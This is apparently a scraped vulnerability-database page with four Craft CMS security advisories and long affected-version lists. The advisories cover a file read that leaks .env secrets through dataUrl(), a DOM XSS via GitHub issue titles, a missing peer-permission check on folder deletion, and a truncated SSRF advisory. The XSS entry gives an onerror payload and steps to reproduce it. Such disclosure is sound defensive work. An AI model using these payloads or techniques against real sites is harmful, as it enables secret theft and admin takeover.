            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.21


            5.9.22


            5.9.23


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9

Fixed in


          5.9.53

References

Updated Jul 06, 2026 · Source: OSV.dev

CVE-2026-55792 GHSA-287w-mxq6-x2cp Jul 06, 2026

Craft CMS: Sensitive File Disclosure / Server-Side File Read

Medium

Network Low Low None

The dataUrl() Twig function is included in Craft’s Twig sandbox allowlist, allowing any control panel user granted the utility:system-messages permission to embed a file-reading payload into system email templates. When those emails are sent, the server reads the target file and returns its contents as a base64-encoded data URL embedded in the email body. The .env file, which typically contains the database password, CRAFT_SECURITY_KEY, and third-party API keys, passes all of Craft’s existing dataUrl() protection checks and is fully exfiltrated. Obtaining CRAFT_SECURITY_KEY enables an attacker to forge session tokens and escalate to full admin account takeover.

Details

Affected versions: Craft CMS 4.x, 5.x (confirmed against 5.9.19)

The vulnerability arises from the combination of three code facts:

dataUrl is in the Twig sandbox allowlist src/config/twig-sandbox.php, line 115: php'allowedFunctions' => [ ... 'dataUrl', // ← allows file reading inside sandboxed templates ... ],
Html::dataUrl() does not block dotfiles src/helpers/Html.php, lines 1065–1090. The function applies four checks before reading a file:

Must be within the project root .env is at the root Must not be in a system directory (config/, vendor/, storage/, templates/) .env is not Must not be a .php file .env has no extension File must exist .env always exists in a Craft install

There is no check for dotfiles or specifically for .env. All four checks pass silently and file_get_contents() is called, with the result returned as data:text/plain;base64,....

System message body is rendered via renderSandboxedString() src/mail/Mailer.php, lines 181–183: php$subject = $view->renderSandboxedString($systemMessage->subject, $variables); $textBody = $view->renderSandboxedString($systemMessage->body, $variables); $htmlBody = $view->renderSandboxedString($systemMessage->body, $variables, escapeHtml: true);

Any body content saved to a system message is executed inside the Twig sandbox when the email renders. Because dataUrl is in allowedFunctions, the sandbox policy permits its execution without restriction.

Access control: The utility:system-messages permission is a non-admin CP permission grantable to any user group via Settings > Users > Groups. It is not restricted to admins.

Impact

Vulnerability type: Sensitive File Disclosure / Server-Side File Read Who is impacted: Any Craft CMS 4.x or 5.x installation where at least one non-admin control panel user has been granted the utility:system-messages permission, and email sending is configured.

Resources:

https://github.com/craftcms/cms/pull/18559

Affected versions


          4.0.0


          4.0.0-RC1


          4.0.0-RC2


          4.0.0-RC3


          4.0.0.1


          4.0.1


          4.0.2


          4.0.3


          4.0.4


          4.0.5


          4.0.5.1


          4.0.5.2

+ 408 more


            4.0.6


            4.1.0


            4.1.0.1


            4.1.0.2


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.4.1


            4.10.0


            4.10.0-beta.1


            4.10.0-beta.2


            4.10.1


            4.10.2


            4.10.3


            4.10.4


            4.10.5


            4.10.6


            4.10.7


            4.10.8


            4.11.0


            4.11.0.1


            4.11.0.2


            4.11.1


            4.11.2


            4.11.3


            4.11.4


            4.11.5


            4.12.0


            4.12.1


            4.12.2


            4.12.3


            4.12.4


            4.12.4.1


            4.12.5


            4.12.6


            4.12.6.1


            4.12.7


            4.12.8


            4.12.9


            4.13.0


            4.13.1


            4.13.1.1


            4.13.10


            4.13.2


            4.13.3


            4.13.4


            4.13.5


            4.13.6


            4.13.7


            4.13.8


            4.13.9


            4.14.0


            4.14.0.1


            4.14.0.2


            4.14.1


            4.14.10


            4.14.11


            4.14.11.1


            4.14.12


            4.14.13


            4.14.14


            4.14.15


            4.14.2


            4.14.3


            4.14.4


            4.14.5


            4.14.6


            4.14.7


            4.14.8


            4.14.8.1


            4.14.9


            4.15.0


            4.15.0-beta.1


            4.15.0-beta.2


            4.15.0.1


            4.15.0.2


            4.15.1


            4.15.2


            4.15.3


            4.15.4


            4.15.5


            4.15.6


            4.15.6.1


            4.15.6.2


            4.15.7


            4.16.0


            4.16.1


            4.16.10


            4.16.11


            4.16.12


            4.16.13


            4.16.14


            4.16.15


            4.16.16


            4.16.17


            4.16.18


            4.16.19


            4.16.2


            4.16.3


            4.16.4


            4.16.5


            4.16.6


            4.16.6.1


            4.16.7


            4.16.8


            4.16.9


            4.16.9.1


            4.17.0


            4.17.0-beta.1


            4.17.0-beta.2


            4.17.1


            4.17.10


            4.17.11


            4.17.12


            4.17.13


            4.17.13.1


            4.17.14


            4.17.15


            4.17.16


            4.17.2


            4.17.3


            4.17.4


            4.17.5


            4.17.6


            4.17.7


            4.17.8


            4.17.9


            4.2.0


            4.2.0.1


            4.2.0.2


            4.2.1


            4.2.1.1


            4.2.2


            4.2.3


            4.2.4


            4.2.5


            4.2.5.1


            4.2.5.2


            4.2.6


            4.2.7


            4.2.8


            4.3.0


            4.3.1


            4.3.10


            4.3.11


            4.3.2


            4.3.2.1


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.6.1


            4.3.7


            4.3.7.1


            4.3.8


            4.3.8.1


            4.3.8.2


            4.3.9


            4.4.0


            4.4.0-beta.1


            4.4.0-beta.2


            4.4.0-beta.3


            4.4.0-beta.4


            4.4.0-beta.5


            4.4.0-beta.6


            4.4.0-beta.7


            4.4.1


            4.4.10


            4.4.10.1


            4.4.11


            4.4.12


            4.4.13


            4.4.14


            4.4.15


            4.4.16


            4.4.16.1


            4.4.17


            4.4.2


            4.4.3


            4.4.4


            4.4.5


            4.4.6


            4.4.6.1


            4.4.7


            4.4.7.1


            4.4.8


            4.4.9


            4.5.0


            4.5.0-beta.1


            4.5.0-beta.2


            4.5.1


            4.5.10


            4.5.11


            4.5.11.1


            4.5.12


            4.5.13


            4.5.14


            4.5.15


            4.5.2


            4.5.3


            4.5.4


            4.5.5


            4.5.6


            4.5.6.1


            4.5.7


            4.5.8


            4.5.9


            4.6.0


            4.6.0-RC1


            4.6.1


            4.7.0


            4.7.1


            4.7.2


            4.7.2.1


            4.7.3


            4.7.4


            4.8.0


            4.8.1


            4.8.10


            4.8.11


            4.8.2


            4.8.3


            4.8.4


            4.8.5


            4.8.6


            4.8.7


            4.8.8


            4.8.9


            4.9.0


            4.9.1


            4.9.2


            4.9.3


            4.9.4


            4.9.5


            4.9.6


            4.9.7


            5.0.0


            5.0.0-RC1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.0.6


            5.1.0


            5.1.1


            5.1.10


            5.1.2


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.21


            5.9.22


            5.9.23


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9

Fixed in


          4.18.0


          5.10.0

References

Updated Jul 06, 2026 · Source: OSV.dev

CVE-2026-55790 GHSA-24x4-j6x9-rfw5 Jul 06, 2026

Craft CMS: DOM XSS via GitHub issue title in CraftSupport widget

High

Network Low None

Summary

An attacker with only a GitHub account can plant a JavaScript payload in a craftcms/cms issue title. When a Craft admin uses the CraftSupport widget’s "Give feedback" screen and types a search term that returns the poisoned issue, the payload executes in the admin’s control panel session.

No control panel account or elevated privileges are required on the attacker’s side.

Preconditions

Attacker has a GitHub account (no control panel access needed).
Victim is an administrator, and you have the CraftSupport widget on the dashboard.
Victim uses the "Give feedback" screen and types a search term that returns the poisoned issue.

Root cause

CraftSupportWidget.js lines 382-392:

$('<a>', {
  href: this.getSearchResultUrl(results[i]),
  target: '_blank',
  html:
    '<span class="status ' +
    this.getSearchResultStatus(results[i]) +
    '"></span>' +
    this.getSearchResultText(results[i]),
})

FeedbackScreen.getSearchResultText (line 669-671) returns result.title verbatim from the GitHub API response. The jQuery html: option sets the element’s innerHTML, so a title containing <img src=x onerror=...> executes immediately on render.

The GitHub API returns issue titles as raw JSON strings with no HTML encoding. The widget makes this request directly from the browser, without a Craft proxy or any sanitization step.

HelpScreen (Stack Exchange) is not affected because the Stack Exchange API HTML-encodes titles before returning them.

Steps to reproduce

Plant (attacker, GitHub account only):

Open https://github.com/craftcms/cms/issues/new.
Set the title to a string combining a plausible search term and the payload, e.g.:

<img src=x onerror=alert(document.domain)> cannot upload files

Submit the issue.

Trigger (victim, Craft admin):

Open the Craft control panel dashboard.
Open the CraftSupport widget, click "Give feedback".
Type cannot upload files in the search box.
alert(document.domain) fires in the admin's session.

Impact

XSS in the admin control panel session. The payload has access to Craft.csrfTokenName and Craft.csrfTokenValue and can send same-origin action requests as the admin without any further interaction.

Mitigating factors

Victim must actively use the "Give feedback" search screen.
Attacker must predict or social-engineer a search term the admin will type, or use a broad term likely to match.
Widget is only available to admins.

Resources

https://github.com/craftcms/cms/commit/6bbb66038a268552180ca5c8eed9f46ea25a4417

Affected versions


          5.0.0


          5.0.0-RC1


          5.0.1


          5.0.2


          5.0.3


          5.0.4


          5.0.5


          5.0.6


          5.1.0


          5.1.1


          5.1.10


          5.1.2

+ 406 more


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.21


            5.9.22


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9


            4.0.0


            4.0.0-RC1


            4.0.0-RC2


            4.0.0-RC3


            4.0.0.1


            4.0.1


            4.0.2


            4.0.3


            4.0.4


            4.0.5


            4.0.5.1


            4.0.5.2


            4.0.6


            4.1.0


            4.1.0.1


            4.1.0.2


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.4.1


            4.10.0


            4.10.0-beta.1


            4.10.0-beta.2


            4.10.1


            4.10.2


            4.10.3


            4.10.4


            4.10.5


            4.10.6


            4.10.7


            4.10.8


            4.11.0


            4.11.0.1


            4.11.0.2


            4.11.1


            4.11.2


            4.11.3


            4.11.4


            4.11.5


            4.12.0


            4.12.1


            4.12.2


            4.12.3


            4.12.4


            4.12.4.1


            4.12.5


            4.12.6


            4.12.6.1


            4.12.7


            4.12.8


            4.12.9


            4.13.0


            4.13.1


            4.13.1.1


            4.13.10


            4.13.2


            4.13.3


            4.13.4


            4.13.5


            4.13.6


            4.13.7


            4.13.8


            4.13.9


            4.14.0


            4.14.0.1


            4.14.0.2


            4.14.1


            4.14.10


            4.14.11


            4.14.11.1


            4.14.12


            4.14.13


            4.14.14


            4.14.15


            4.14.2


            4.14.3


            4.14.4


            4.14.5


            4.14.6


            4.14.7


            4.14.8


            4.14.8.1


            4.14.9


            4.15.0


            4.15.0-beta.1


            4.15.0-beta.2


            4.15.0.1


            4.15.0.2


            4.15.1


            4.15.2


            4.15.3


            4.15.4


            4.15.5


            4.15.6


            4.15.6.1


            4.15.6.2


            4.15.7


            4.16.0


            4.16.1


            4.16.10


            4.16.11


            4.16.12


            4.16.13


            4.16.14


            4.16.15


            4.16.16


            4.16.17


            4.16.18


            4.16.19


            4.16.2


            4.16.3


            4.16.4


            4.16.5


            4.16.6


            4.16.6.1


            4.16.7


            4.16.8


            4.16.9


            4.16.9.1


            4.17.0


            4.17.0-beta.1


            4.17.0-beta.2


            4.17.1


            4.17.10


            4.17.11


            4.17.12


            4.17.13


            4.17.13.1


            4.17.14


            4.17.15


            4.17.2


            4.17.3


            4.17.4


            4.17.5


            4.17.6


            4.17.7


            4.17.8


            4.17.9


            4.2.0


            4.2.0.1


            4.2.0.2


            4.2.1


            4.2.1.1


            4.2.2


            4.2.3


            4.2.4


            4.2.5


            4.2.5.1


            4.2.5.2


            4.2.6


            4.2.7


            4.2.8


            4.3.0


            4.3.1


            4.3.10


            4.3.11


            4.3.2


            4.3.2.1


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.6.1


            4.3.7


            4.3.7.1


            4.3.8


            4.3.8.1


            4.3.8.2


            4.3.9


            4.4.0


            4.4.0-beta.1


            4.4.0-beta.2


            4.4.0-beta.3


            4.4.0-beta.4


            4.4.0-beta.5


            4.4.0-beta.6


            4.4.0-beta.7


            4.4.1


            4.4.10


            4.4.10.1


            4.4.11


            4.4.12


            4.4.13


            4.4.14


            4.4.15


            4.4.16


            4.4.16.1


            4.4.17


            4.4.2


            4.4.3


            4.4.4


            4.4.5


            4.4.6


            4.4.6.1


            4.4.7


            4.4.7.1


            4.4.8


            4.4.9


            4.5.0


            4.5.0-beta.1


            4.5.0-beta.2


            4.5.1


            4.5.10


            4.5.11


            4.5.11.1


            4.5.12


            4.5.13


            4.5.14


            4.5.15


            4.5.2


            4.5.3


            4.5.4


            4.5.5


            4.5.6


            4.5.6.1


            4.5.7


            4.5.8


            4.5.9


            4.6.0


            4.6.0-RC1


            4.6.1


            4.7.0


            4.7.1


            4.7.2


            4.7.2.1


            4.7.3


            4.7.4


            4.8.0


            4.8.1


            4.8.10


            4.8.11


            4.8.2


            4.8.3


            4.8.4


            4.8.5


            4.8.6


            4.8.7


            4.8.8


            4.8.9


            4.9.0


            4.9.1


            4.9.2


            4.9.3


            4.9.4


            4.9.5


            4.9.6


            4.9.7

Fixed in


          4.17.16


          5.9.23

References

Updated Jul 06, 2026 · Source: OSV.dev

CVE-2026-50284 GHSA-7h62-6v23-v8fm Jul 02, 2026

Craft CMS: Missing peer-permission check in `AssetsController::actionDeleteFolder` allows deletion of other users' assets

High

Network Low Low None

Summary

AssetsController::actionDeleteFolder() only requires the deleteAssets:<volume-uid> permission for the target folder. It never enforces deletePeerAssets:<volume-uid>, even though Assets::deleteFoldersByIds() cascades deletion to every descendant folder and every asset inside, regardless of who uploaded them. A low-privilege user who has been granted folder-management rights on a shared volume can therefore destroy assets uploaded by other users (peer assets), bypassing the per-asset peer-permission check that the sibling actionDeleteAsset endpoint correctly applies.

This is the same bug class that was just fixed in actionMoveFolder as GHSA-3w32-23wj-rxg3 (commit 05c2042, Apr 23 2026); the fix added requireVolumePermissionByFolder('deletePeerAssets', …) and savePeerAssets checks to the move endpoint but did not propagate to the delete-folder endpoint.

Details

src/controllers/AssetsController.php:552-569:

public function actionDeleteFolder(): Response
{
    $this->requireAcceptsJson();
    $folderId = $this->request->getRequiredBodyParam('folderId');

    $assets = Craft::$app->getAssets();
    $folder = $assets->getFolderById($folderId);

    if (!$folder) {
        throw new BadRequestHttpException('The folder cannot be found');
    }

    // Check if it's possible to delete objects in the target volume.
    $this->requireVolumePermissionByFolder('deleteAssets', $folder); // <-- only checks deleteAssets
    $assets->deleteFoldersByIds($folderId);

    return $this->asSuccess();
}

requireVolumePermissionByFolder() (src/controllers/AssetsControllerTrait.php:75-88) only resolves to a single requirePermission('deleteAssets:<vol-uid>') call. The peer-equivalent helper (requirePeerVolumePermissionByAsset) is never invoked because there is no folder-level peer helper that iterates the folder's contents.

Assets::deleteFoldersByIds() (src/services/Assets.php:311-349) then enumerates the folder + every descendant folder, queries every asset under those IDs, and calls Craft::$app->getElements()->deleteElement($asset, true) directly:

$assetQuery = Asset::find()->folderId($allFolderIds);
$elementService = Craft::$app->getElements();

foreach (Db::each($assetQuery) as $asset) {
    $asset->keepFileOnDelete = !$deleteDir;
    $elementService->deleteElement($asset, true);
}

This bypasses Asset::canDelete() (src/elements/Asset.php:1515-1536):

public function canDelete(User $user): bool
{
    if ($this->isFolder) { return false; }
    if (parent::canDelete($user)) { return true; }
    $volume = $this->getVolume();
    if (Assets::isTempUploadFs($volume->getFs())) { return true; }

    if ($this->uploaderId !== $user->id) {
        return $user->can("deletePeerAssets:$volume->uid"); // <-- never reached on cascade delete
    }
    return $user->can("deleteAssets:$volume->uid");
}

Compare to actionDeleteAsset (src/controllers/AssetsController.php:579-613), which correctly does:

$this->requireVolumePermissionByAsset('deleteAssets', $asset);
$this->requirePeerVolumePermissionByAsset('deletePeerAssets', $asset);

The fix that landed in 05c2042 for actionMoveFolder (src/controllers/AssetsController.php:733-765) added both savePeerAssets and deletePeerAssets requireVolumePermissionByFolder checks to mirror the per-asset pattern, but the same hardening was not applied to actionDeleteFolder or actionRenameFolder (which also calls deleteFoldersByIds indirectly through later logic).

The asymmetry between the two endpoints demonstrates the missing check.

Impact

Integrity / availability of other users' assets on any volume where the attacker has deleteAssets but not deletePeerAssets: the attacker can permanently delete peer-owned files (and their parent folder structure) on the underlying filesystem, with no recovery via Craft's UI.
The Craft permission model explicitly distinguishes "delete your own assets" (deleteAssets) from "delete other users' assets" (deletePeerAssets) precisely so administrators can grant the former without the latter on shared volumes — this finding renders that distinction unenforceable for any user given folder-delete rights.
No information disclosure or remote code execution; impact is bounded to the affected volume's contents.
Does not require any non-default configuration: the affected endpoint is enabled by default and only requires that an administrator has split deleteAssets from deletePeerAssets (the documented, supported permission model).

Affected versions


          5.0.0


          5.0.0-RC1


          5.0.1


          5.0.2


          5.0.3


          5.0.4


          5.0.5


          5.0.6


          5.1.0


          5.1.1


          5.1.10


          5.1.2

+ 404 more


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.21


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9


            4.0.0


            4.0.0-RC1


            4.0.0-RC2


            4.0.0-RC3


            4.0.0.1


            4.0.1


            4.0.2


            4.0.3


            4.0.4


            4.0.5


            4.0.5.1


            4.0.5.2


            4.0.6


            4.1.0


            4.1.0.1


            4.1.0.2


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.4.1


            4.10.0


            4.10.0-beta.1


            4.10.0-beta.2


            4.10.1


            4.10.2


            4.10.3


            4.10.4


            4.10.5


            4.10.6


            4.10.7


            4.10.8


            4.11.0


            4.11.0.1


            4.11.0.2


            4.11.1


            4.11.2


            4.11.3


            4.11.4


            4.11.5


            4.12.0


            4.12.1


            4.12.2


            4.12.3


            4.12.4


            4.12.4.1


            4.12.5


            4.12.6


            4.12.6.1


            4.12.7


            4.12.8


            4.12.9


            4.13.0


            4.13.1


            4.13.1.1


            4.13.10


            4.13.2


            4.13.3


            4.13.4


            4.13.5


            4.13.6


            4.13.7


            4.13.8


            4.13.9


            4.14.0


            4.14.0.1


            4.14.0.2


            4.14.1


            4.14.10


            4.14.11


            4.14.11.1


            4.14.12


            4.14.13


            4.14.14


            4.14.15


            4.14.2


            4.14.3


            4.14.4


            4.14.5


            4.14.6


            4.14.7


            4.14.8


            4.14.8.1


            4.14.9


            4.15.0


            4.15.0-beta.1


            4.15.0-beta.2


            4.15.0.1


            4.15.0.2


            4.15.1


            4.15.2


            4.15.3


            4.15.4


            4.15.5


            4.15.6


            4.15.6.1


            4.15.6.2


            4.15.7


            4.16.0


            4.16.1


            4.16.10


            4.16.11


            4.16.12


            4.16.13


            4.16.14


            4.16.15


            4.16.16


            4.16.17


            4.16.18


            4.16.19


            4.16.2


            4.16.3


            4.16.4


            4.16.5


            4.16.6


            4.16.6.1


            4.16.7


            4.16.8


            4.16.9


            4.16.9.1


            4.17.0


            4.17.0-beta.1


            4.17.0-beta.2


            4.17.1


            4.17.10


            4.17.11


            4.17.12


            4.17.13


            4.17.13.1


            4.17.14


            4.17.2


            4.17.3


            4.17.4


            4.17.5


            4.17.6


            4.17.7


            4.17.8


            4.17.9


            4.2.0


            4.2.0.1


            4.2.0.2


            4.2.1


            4.2.1.1


            4.2.2


            4.2.3


            4.2.4


            4.2.5


            4.2.5.1


            4.2.5.2


            4.2.6


            4.2.7


            4.2.8


            4.3.0


            4.3.1


            4.3.10


            4.3.11


            4.3.2


            4.3.2.1


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.6.1


            4.3.7


            4.3.7.1


            4.3.8


            4.3.8.1


            4.3.8.2


            4.3.9


            4.4.0


            4.4.0-beta.1


            4.4.0-beta.2


            4.4.0-beta.3


            4.4.0-beta.4


            4.4.0-beta.5


            4.4.0-beta.6


            4.4.0-beta.7


            4.4.1


            4.4.10


            4.4.10.1


            4.4.11


            4.4.12


            4.4.13


            4.4.14


            4.4.15


            4.4.16


            4.4.16.1


            4.4.17


            4.4.2


            4.4.3


            4.4.4


            4.4.5


            4.4.6


            4.4.6.1


            4.4.7


            4.4.7.1


            4.4.8


            4.4.9


            4.5.0


            4.5.0-beta.1


            4.5.0-beta.2


            4.5.1


            4.5.10


            4.5.11


            4.5.11.1


            4.5.12


            4.5.13


            4.5.14


            4.5.15


            4.5.2


            4.5.3


            4.5.4


            4.5.5


            4.5.6


            4.5.6.1


            4.5.7


            4.5.8


            4.5.9


            4.6.0


            4.6.0-RC1


            4.6.1


            4.7.0


            4.7.1


            4.7.2


            4.7.2.1


            4.7.3


            4.7.4


            4.8.0


            4.8.1


            4.8.10


            4.8.11


            4.8.2


            4.8.3


            4.8.4


            4.8.5


            4.8.6


            4.8.7


            4.8.8


            4.8.9


            4.9.0


            4.9.1


            4.9.2


            4.9.3


            4.9.4


            4.9.5


            4.9.6


            4.9.7

Fixed in


          4.17.15


          5.9.22

References

Updated Jul 02, 2026 · Source: OSV.dev

CVE-2026-55791 GHSA-c55v-343g-5xff Jun 19, 2026

Craft CMS: Blind SSRF and Arbitrary JavaScript Injection via Host Header Poisoning in actionResourceJs

Critical

Network Low None None

1. Overview

Craft CMS is vulnerable to Server-Side Request Forgery (SSRF) and Arbitrary JavaScript Injection through the /actions/app/resource-js endpoint. By exploiting the default permissive trustedHosts configuration, an attacker can poison the Host or X-Forwarded-Host header to manipulate the application’s $baseUrl. This bypasses the endpoint’s internal URL validation, forcing the backend Guzzle client to fetch a malicious payload from an attacker-controlled server and reflect it to the client with a Content-Type: application/javascript header.

